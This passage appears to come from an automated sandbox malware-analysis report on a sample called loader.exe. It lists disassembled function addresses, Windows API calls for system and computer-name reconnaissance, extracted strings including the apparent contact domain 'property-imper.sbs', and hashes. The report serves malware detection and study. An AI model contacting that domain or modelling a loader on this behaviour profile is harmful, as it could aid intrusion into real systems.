Opcode ID: 6b49698fbfe501670bc3fd2beb2388d51710b45179d7bcb305f8766780ed7829
Instruction ID: ec46a85c5822dff356d531a0e93fb94fef6302bc80af3d360fac48d54d125535
Opcode Fuzzy Hash: 6b49698fbfe501670bc3fd2beb2388d51710b45179d7bcb305f8766780ed7829
Instruction Fuzzy Hash: FDE04830250205BFEF202F61ED0AB583B59AB01B57F108021FD0DE80E1EFF2A865D548

Function 0025E5E8 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 0025E64B

Part of subcall function 0025D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,002587B1,?,00000000,?), ref: 0025D192

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0025E89D
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0025E8E3
GetLastError.KERNEL32 ref: 0025E986

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: b09f7ef11ccca8cbc062681f3c4ed2cdcd139e27f796a54e7771d61cf75c628f
Instruction ID: 22ebe513b7329a7d2eb4a9a7cbbffd70cf4473396eb0d7c5488e47ca29418c59
Opcode Fuzzy Hash: b09f7ef11ccca8cbc062681f3c4ed2cdcd139e27f796a54e7771d61cf75c628f
Instruction Fuzzy Hash: 58D1BB71D102489FCF19CFA8C8849ADFBB8FF09311F29412AE865EB251D630AA56CF54

Function 00258EFC Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00258FC3
___AdjustPointer.LIBCMT ref: 00258FE6
___AdjustPointer.LIBCMT ref: 00259082

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 72428a0fefa5478153430e7892126b125a3b3930e6a152aed7edf46717284987
Instruction ID: 03c141280c4a8897a15ff7e7f8d3c6626093b268292bc30286acf0d814370ea5
Opcode Fuzzy Hash: 72428a0fefa5478153430e7892126b125a3b3930e6a152aed7edf46717284987
Instruction Fuzzy Hash: D451D171635202EFEB298F14D841B7A73A5EF04302F14082DED45975D1EBB1ECA8CB98

Function 0025C5B8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0025D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,002587B1,?,00000000,?), ref: 0025D192

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,0025C95E,?,?,?,00000000), ref: 0025C61C
__dosmaperr.LIBCMT ref: 0025C623
GetLastError.KERNEL32(00000000,0025C95E,?,?,00000000,?,?,?,00000000,00000000,?,0025C95E,?,?,?,00000000), ref: 0025C65D
__dosmaperr.LIBCMT ref: 0025C664

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: a6b5cb61374c5b45c51b2418979d7a4298660f5e12615caa41baface93497806
Instruction ID: 21ed4d63c8830745ffef1300c01e5526130a3d39cc12b2f0764a152e64f297de
Opcode Fuzzy Hash: a6b5cb61374c5b45c51b2418979d7a4298660f5e12615caa41baface93497806
Instruction Fuzzy Hash: BD21B671220306AF9B119F65888192AB7ACEF853667608428FC15D7551FB70ED64CF98

Function 0025CB54 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6236fa884aa80aa6d18ac14249d9a6f0cb06bdfcde1e00cbd0ffebf974b1bdb9
Instruction ID: 02fb4af0ab13f4c14d732131bf8682099d04beccf8d083d05f7cc7e2d830f937
Opcode Fuzzy Hash: 6236fa884aa80aa6d18ac14249d9a6f0cb06bdfcde1e00cbd0ffebf974b1bdb9
Instruction Fuzzy Hash: 2F21F671220306AFCB20AF65DC82D2AB7ACEF543AB7204515FC1997251FB30EC68DB94

Function 0025D22D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0025D235

Part of subcall function 0025D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,002587B1,?,00000000,?), ref: 0025D192

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0025D26D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0025D28D

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: db2806dc4e560c1848fa97c6953e50ea0fbd68843fa1e4606cefbe689c1f7048
Instruction ID: b99cb1e09e5c7e99c8c780d1d7eea01b070f155d0b8c2adcc3d0bf598ea1d63a
Opcode Fuzzy Hash: db2806dc4e560c1848fa97c6953e50ea0fbd68843fa1e4606cefbe689c1f7048
Instruction Fuzzy Hash: D01161B15215197E6B312B716C89CAF696CDE95397B104424FC01D2142FFB0CD6A4979

Function 002607C0 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,0025FF31,00000000,00000001,00000000,?,?,0025E9DA,?,00000000,00000000), ref: 002607D7
GetLastError.KERNEL32(?,0025FF31,00000000,00000001,00000000,?,?,0025E9DA,?,00000000,00000000,?,?,?,0025E320,00000000), ref: 002607E3

Part of subcall function 00260840: CloseHandle.KERNEL32(FFFFFFFE,002607F3,?,0025FF31,00000000,00000001,00000000,?,?,0025E9DA,?,00000000,00000000,?,?), ref: 00260850

___initconout.LIBCMT ref: 002607F3

Part of subcall function 00260815: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,002607B1,0025FF1E,?,?,0025E9DA,?,00000000,00000000,?), ref: 00260828

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,0025FF31,00000000,00000001,00000000,?,?,0025E9DA,?,00000000,00000000,?), ref: 00260808

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 6f7f305ef27482cea997056cac3d49f91f02d3cfdf804e389ccc4d98d7d1299a
Instruction ID: 24a98747bf9a8eebc277b662fcf28eeb9497838dc9e7a53946f5c3fc13af0477
Opcode Fuzzy Hash: 6f7f305ef27482cea997056cac3d49f91f02d3cfdf804e389ccc4d98d7d1299a
Instruction Fuzzy Hash: E7F01C36010119BBCF225F91EC0898B3F2AFF087A1F00C461FA0886121CAB28CB0AFD0

Function 00258D6C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00258D75

Strings

csm, xrefs: 00258E08
csm, xrefs: 00258D97

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: bbd809115c2aca3d0a3fe9ae4ed24aa0adb14bd821432e3b8416d2a0c5fa3de4
Instruction ID: 2f7d1f28a3efbabd783d98e9e7196753a872ab44b6f65e751935a643a00bd155
Opcode Fuzzy Hash: bbd809115c2aca3d0a3fe9ae4ed24aa0adb14bd821432e3b8416d2a0c5fa3de4
Instruction Fuzzy Hash: C131F276520216EFCF224F50D8069AA7B76FF09316B08455AFC0429121CBB2DCB5DB89

Function 002541C6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 002549EA
___raise_securityfailure.LIBCMT ref: 00254AD2

Part of subcall function 002559FC: RaiseException.KERNEL32(E06D7363,00000001,00000003,002549DE,BB40E64E,?,?,?,002549DE,?,00269B2C), ref: 00255A5C

Strings

%$, xrefs: 00254A55

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: %$
API String ID: 3749517692-3799354126
Opcode ID: 2b28ca7194309545c6121189bb5b58f522f892f8ad9dd6569ab43bd89ac715e3
Instruction ID: fe0b5617b5ba878bc353fd6dab0c342715ba2c299eeb4c302163b3bff46e6ef9
Opcode Fuzzy Hash: 2b28ca7194309545c6121189bb5b58f522f892f8ad9dd6569ab43bd89ac715e3
Instruction Fuzzy Hash: 173190B4510204DEC700FF55FC5AA647BA8BB08314F60C12BE94AE62A1EBF0A598CF84

Function 00254241 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 002549EA
___raise_securityfailure.LIBCMT ref: 00254AD2

Strings

%$, xrefs: 00254A55

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: %$
API String ID: 3761405300-3799354126
Opcode ID: cc29c8e077d55098bed9bd7877f14c25788e948132f12c193b989cd5c505b20f
Instruction ID: 12c1d5cde64b558d43aff64aa659439abb8fba1af57bb09ea51695c54149db47
Opcode Fuzzy Hash: cc29c8e077d55098bed9bd7877f14c25788e948132f12c193b989cd5c505b20f
Instruction Fuzzy Hash: 8521E0B9510240DED304EF15FD5A6607BA4FB48314FA0D06BE98AEB3A1E7F0A8848F45

Function 002545A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 00254533: __EH_prolog3_GS.LIBCMT ref: 0025453A

std::domain_error::domain_error.LIBCPMT ref: 002545EC

Part of subcall function 002543A4: std::exception::exception.LIBCONCRT ref: 002543BA

Strings

CD%, xrefs: 002545D7
CD%, xrefs: 002545B6, 002545C9

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: H_prolog3_std::domain_error::domain_errorstd::exception::exception
String ID: CD%$CD%
API String ID: 2144476180-4139937635
Opcode ID: f1454be56b7ad518233fb53ea0b8d7a41b8e6c876a9a0924b9e853f3de22148c
Instruction ID: 6751bf555e1f6d2364732107d4362f27901196a9cd8b990498a0e862403f046d
Opcode Fuzzy Hash: f1454be56b7ad518233fb53ea0b8d7a41b8e6c876a9a0924b9e853f3de22148c
Instruction Fuzzy Hash: C6015E70E10218ABCF18EF69D8458AEBBF8FF48708B50841EE81597340DB74DA55CF94

Analysis Process: loader.exePID: 7372, Parent PID: 7284COMMON

Execution Graph

Execution Coverage:	10.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	47%
Total number of Nodes:	596
Total number of Limit Nodes:	48

Executed Functions

Function 00439920 Relevance: 31.9, APIs: 11, Strings: 7, Instructions: 439
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(00444678,00000000,00000001,00444668,00000000), ref: 00439A05
SysAllocString.OLEAUT32(3F8D398E), ref: 00439A76
CoSetProxyBlanket.COMBASE(33EF7DB6,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00439AB4
SysAllocString.OLEAUT32(F3A3F1AF), ref: 00439B11
SysAllocString.OLEAUT32(03470153), ref: 00439BC9
VariantInit.OLEAUT32(?), ref: 00439C34
VariantClear.OLEAUT32(?), ref: 00439D9C
SysFreeString.OLEAUT32(?), ref: 00439DC0
SysFreeString.OLEAUT32(?), ref: 00439DC6
SysFreeString.OLEAUT32(00000000), ref: 00439DDA

Strings

\, xrefs: 004399BF
m%g+, xrefs: 00439A2B
01, xrefs: 00439B7B
c-}/, xrefs: 00439B73
C, xrefs: 004399B4
j)c+, xrefs: 00439B6B
,-, xrefs: 00439A3B

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInitInstanceProxy
String ID: ,-$01$C$\$c-}/$j)c+$m%g+
API String ID: 2485776651-398313838
Opcode ID: 450ad9697d594b8ae526726a255cd1b75d5532c9885b9d68115b1d910846adac
Instruction ID: 6783fb664f9c7609d2ca224fa02c8d62be5b75272fe718f4842a1c20fd6db3b4
Opcode Fuzzy Hash: 450ad9697d594b8ae526726a255cd1b75d5532c9885b9d68115b1d910846adac
Instruction Fuzzy Hash: 3EE1ECB0608300ABE710CF60DC86B5BBBE9EF89714F14892DF6958B391D7B9C805CB56

Function 0042E624 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 541
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042E706
GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042E73D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 0042E85B

Strings

IVW!, xrefs: 0042EA7E
M[Qb, xrefs: 0042EA74
JdRr, xrefs: 0042EC6C

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: ComputerName$FreeLibrary
String ID: IVW!$JdRr$M[Qb
API String ID: 2243422189-235605628
Opcode ID: eba18d89598685c1644385ce80c66e9b665dfc67401a873695caef8bccd1a490
Instruction ID: a99b1aee0251b4636e8145d5897e43cbcd6f14e236245c6a8f4b5d9e1823f2d6
Opcode Fuzzy Hash: eba18d89598685c1644385ce80c66e9b665dfc67401a873695caef8bccd1a490
Instruction Fuzzy Hash: 60F10871604B918EE725CF36C4517A3BBD2AF93304F5888AEC0EB8B392D67D6506CB15

Function 00409350 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 235
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00409372
GetCurrentThreadId.KERNEL32 ref: 00409385
GetCurrentProcessId.KERNEL32 ref: 0040938D
GetForegroundWindow.USER32 ref: 00409512
ExitProcess.KERNEL32 ref: 0040962F

Strings

u~{Y, xrefs: 00409398

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID: u~{Y
API String ID: 4063528623-4256596869
Opcode ID: 73a09cb4516c67609a032676e4126725b2166837b14bf46d496d9d4efafca029
Instruction ID: f3d6617cda9f479a547a10d95898704a407f799bb7dc0fb294d6f46aa9075601
Opcode Fuzzy Hash: 73a09cb4516c67609a032676e4126725b2166837b14bf46d496d9d4efafca029
Instruction Fuzzy Hash: 64711872B487045FC718EFADCC9235AB6D2ABC8314F0A853DB995DB391E978DC048685

Function 004345C0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00434609
GetSystemMetrics.USER32 ref: 00434619

Strings

DQC, xrefs: 004347E3
!PC, xrefs: 00434796
lPC, xrefs: 004347C2
, xrefs: 00434706

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: MetricsSystem
String ID: $!PC$DQC$lPC
API String ID: 4116985748-2418968371
Opcode ID: e1d7e8f606b4943643813b412d82824a04204b7340d03281af6bf1324a2cdfb4
Instruction ID: 11cd300eeb3c4e267d2820f3d249988e8f719e21e352e54e2f2c23f38b61a5d9
Opcode Fuzzy Hash: e1d7e8f606b4943643813b412d82824a04204b7340d03281af6bf1324a2cdfb4
Instruction Fuzzy Hash: 6D914FB45093818FE770DF24D58978BBBF0BB85348F10891EE5988B350DBB99948DF4A

Function 0042E61D Relevance: 9.3, APIs: 2, Strings: 3, Instructions: 557
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042E73D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 0042E85B

Strings

IVW!, xrefs: 0042EA7E
M[Qb, xrefs: 0042EA74
JdRr, xrefs: 0042EC6C

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: ComputerName
String ID: IVW!$JdRr$M[Qb
API String ID: 3545744682-235605628
Opcode ID: ca73a12de3c39c41fa0a5610a4b5b0dd015cdabfb8a47d247238ae51a56d5da7
Instruction ID: c7e92e66253a795d86e791a733cbada10d1426f86a260d949d0f50c349d3ab56
Opcode Fuzzy Hash: ca73a12de3c39c41fa0a5610a4b5b0dd015cdabfb8a47d247238ae51a56d5da7
Instruction Fuzzy Hash: D202E371704B418FE725CF36C4517A3BBE2AF96304F18896EC0EA8B382D679A506CB55

Function 0040E3CA Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 350
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004345C0: GetSystemMetrics.USER32 ref: 00434609
Part of subcall function 004345C0: GetSystemMetrics.USER32 ref: 00434619

CoUninitialize.COMBASE ref: 0040E3DF

Strings

XY, xrefs: 0040E7F4
WXOL, xrefs: 0040E4CB
G!y, xrefs: 0040E749
property-imper.sbs, xrefs: 0040E882

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: MetricsSystem$Uninitialize
String ID: G!y$WXOL$XY$property-imper.sbs
API String ID: 1128523136-4096150396
Opcode ID: 93cfa104a32890a23d95f4976a3fe292aa2339b280cb487f8514a0e963ccd44c
Instruction ID: 2d3a2857ca172e7d4994597b9bd5e38e182190ab1a2ea50c212f3d1833e48c38
Opcode Fuzzy Hash: 93cfa104a32890a23d95f4976a3fe292aa2339b280cb487f8514a0e963ccd44c
Instruction Fuzzy Hash: C3C1E1711093828BD335CF2995507DBBBE1AFE2304F184D6DD4C99B342D7798509CB96

Function 0040A440 Relevance: 6.6, Strings: 5, Instructions: 380
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

16DE138718E3EA5C00A820AA85D26A7C, xrefs: 0040A511
d, xrefs: 0040A5E4
Fx~F, xrefs: 0040A6C0
Fx~F, xrefs: 0040A50B, 0040A685, 0040A4DC
(, xrefs: 0040A4B3

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: ($16DE138718E3EA5C00A820AA85D26A7C$Fx~F$Fx~F$d
API String ID: 0-2675516244
Opcode ID: 5a20a72eebe6b88a9bf2ec2fcd198b001561c775ed2ba78ffb24342cb91cc046
Instruction ID: d73f41b341dda446e074a8002f32f95ffe5a2599297133f20ee3a583cc229af9
Opcode Fuzzy Hash: 5a20a72eebe6b88a9bf2ec2fcd198b001561c775ed2ba78ffb24342cb91cc046
Instruction Fuzzy Hash: 80D1F1716087408BE718CF25D85176BBBE5EFD1308F18892DE5D59B292DA3CC80ACB97

Function 00425F6F Relevance: 1.9, APIs: 1, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46594d1fb7e87d12aedcaf322bddfd0c1c535fdb6c2e077933be3bb4825fa584
Instruction ID: 049f3cb8f173ff365444af70717aae1bc6a2e7232062e0934f449d728ee97af8
Opcode Fuzzy Hash: 46594d1fb7e87d12aedcaf322bddfd0c1c535fdb6c2e077933be3bb4825fa584
Instruction Fuzzy Hash: 05D1CBB46083409FD310AF65E88262FBBF0FF92354F54492EF5858B351EBB88945CB5A

Function 004194B0 Relevance: 1.7, Strings: 1, Instructions: 441COMMON

Download Yara Rule

Strings

/.-,, xrefs: 004198A0

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID: /.-,
API String ID: 0-4180950418
Opcode ID: d655b1805acc7bec612192ef7d21b35e3bfb245058b9ef8769dc0fa6d1bb2b43
Instruction ID: 3b8a72c8a70c1f2cdc7209a6036bd23aea64c503530aeccb4d5e8748021c8337
Opcode Fuzzy Hash: d655b1805acc7bec612192ef7d21b35e3bfb245058b9ef8769dc0fa6d1bb2b43
Instruction Fuzzy Hash: 66B13376508200DBD7149F24DCA27BB73A1FF92314F08452EE98687391E7399D45C7AA

Function 0041A205 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c66e7bb44bfc2d94c9b71b24192f73588999aaab2e6472f418e6c18dfb934553
Instruction ID: 2ac04351c4a0b478d5a1f4f46a5a167ccd76202ab8f877ef2169986906bf5690
Opcode Fuzzy Hash: c66e7bb44bfc2d94c9b71b24192f73588999aaab2e6472f418e6c18dfb934553
Instruction Fuzzy Hash: A751E5B1A083019FC714CF28C49576FB7E2ABD5314F188A6EE4A9C7382D739D855CB46

Function 00428BA0 Relevance: 1.6, Strings: 1, Instructions: 343COMMON

Download Yara Rule

Strings

W, xrefs: 00428EBF

Memory Dump Source

Source File: 00000005.00000002.1864304258.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_loader.jbxd

Similarity

API ID: InitializeThunk
String ID: W
API String ID: 2994545307-3309183997
Opcode ID: e7351303906a0154d53a9d3120627ce84a12f98ba55c389279fba2a00dde20f5
